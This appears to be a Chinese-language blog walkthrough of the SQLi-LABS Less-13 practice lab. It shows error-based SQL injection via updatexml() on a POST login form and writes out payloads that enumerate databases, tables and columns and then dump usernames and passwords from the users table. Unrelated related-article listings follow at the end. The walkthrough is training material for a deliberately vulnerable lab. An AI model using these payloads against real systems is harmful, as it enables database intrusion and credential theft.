SQLi LABS Less-13

简介: 第十三关请求方式为POST请求 , 注入点为 单引号+括号的字符型注入 , 注入方式为 报错注入本次报错注入基于 updatexml()

第十三关请求方式为POST请求 , 注入点为 单引号+括号的字符型注入 , 注入方式为 报错注入

本次报错注入基于 updatexml()

updatexml(1,'~',3)  
  -- 第二个参数包含特殊符号时,会报错,并将参数内容返回在报错内容中
  -- 返回的结果不超过32个字符

image.png

第一步,判断注入类型

先来个单引号' , 用户名输入 a'

数据库果然报错了 , 既然有报错内容 , 那我们就用报错注入吧 , 接下来猜一下注入点 , 后端SQL包裹参数无非就是单引号,双引号以及括号的组合,我们挨个试试

a' and updatexml(1,'~',3) #

试到 单引号+括号时 , 成功返回了我们想要的报错结果 , 固 单引号+括号的字符串型注入

image.png

源码如下

image.png

第二步,获取所有数据库

查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名

a') and updatexml(1,concat('~',
(select schema_name
from information_schema.schemata limit 1,1))
,3) #

由于updatexml() 返回的字符串长度不超过32位 , 此处用limit分页查看 , 使用此方法可依次查看所有数据库名

image.png

获取当前使用的数据库

a') and updatexml(1,concat('~',
database())
,3) #

此处的 database() 可获取当前使用的数据库

image.png

第三步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名

a') and updatexml(1,concat('~',
(select table_name
from information_schema.tables
where table_schema='security' limit 3,1))
,3) #

此处 limit 查看第一个数据库 , 依次查看所有数据库


image.png


users表存放用户信息 , 下一步获取users表的所有字段


第三步,查询所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

a') and updatexml(1,concat('~',
(select group_concat(column_name)
from information_schema.columns
where table_schema='security' and table_name='users'))
,3) #

此处的 group_concat() 可将多行数据合并为一行

image.png

至此可知, 数据库 security, 用户表 users, 字段 id,username,password 下一步, 根据这些信息获取账号密码

第四步,获取账号密码

a') and updatexml(1,concat('~',
(select group_concat(username,'~',password)
from security.users))
,3) #

image.png


相关文章
|
安全 网络安全
[网络安全]sqli-labs Less-16 解题详析
[网络安全]sqli-labs Less-16 解题详析
253 0
|
SQL 安全 网络安全
[网络安全]sqli-labs Less-15 解题详析
[网络安全]sqli-labs Less-15 解题详析
257 0
|
SQL 安全 数据库
SQLi LABS Less-18
第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入 第一步,判断注入方式
266 0
SQLi LABS Less-18
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
188 0
SQLi LABS Less-16
|
SQL 安全 数据库
SQLi-LABS Less-12
第十二关请求方式为 POST请求 , 注入点为 双引号+括号的字符串型 , 注入方式为 联合/报错注入 第一步,判断注入方式 先来个单引号' , 用户名输入 a' , 密码输入 1 , 登录失败 , 也没报错 , 但它把SQL给我们返回了 , 从返回的SQL来看 , 其对传入的参数包裹了 双引号+括号
260 0
SQLi-LABS Less-12
|
4天前
|
人工智能 JavaScript 测试技术
Qwen3-Coder入门教程|10分钟搞定安装配置
Qwen3-Coder 挑战赛简介:无论你是编程小白还是办公达人,都能通过本教程快速上手 Qwen-Code CLI,利用 AI 轻松实现代码编写、文档处理等任务。内容涵盖 API 配置、CLI 安装及多种实用案例,助你提升效率,体验智能编码的乐趣。
354 105
|
5天前
|
JSON fastjson Java
FastJson 完全学习指南(初学者从零入门)
摘要:本文是FastJson的入门学习指南,主要内容包括: JSON基础:介绍JSON格式特点、键值对规则、数组和对象格式,以及嵌套结构的访问方式。FastJson是阿里巴巴开源的高性能JSON解析库,具有速度快、功能全、使用简单等优势,并介绍如何引入依赖,如何替换Springboot默认的JackJson。 核心API: 序列化:将Java对象转换为JSON字符串,演示对象、List和Map的序列化方法; 反序列化:将JSON字符串转回Java对象,展示基本对象转换方法;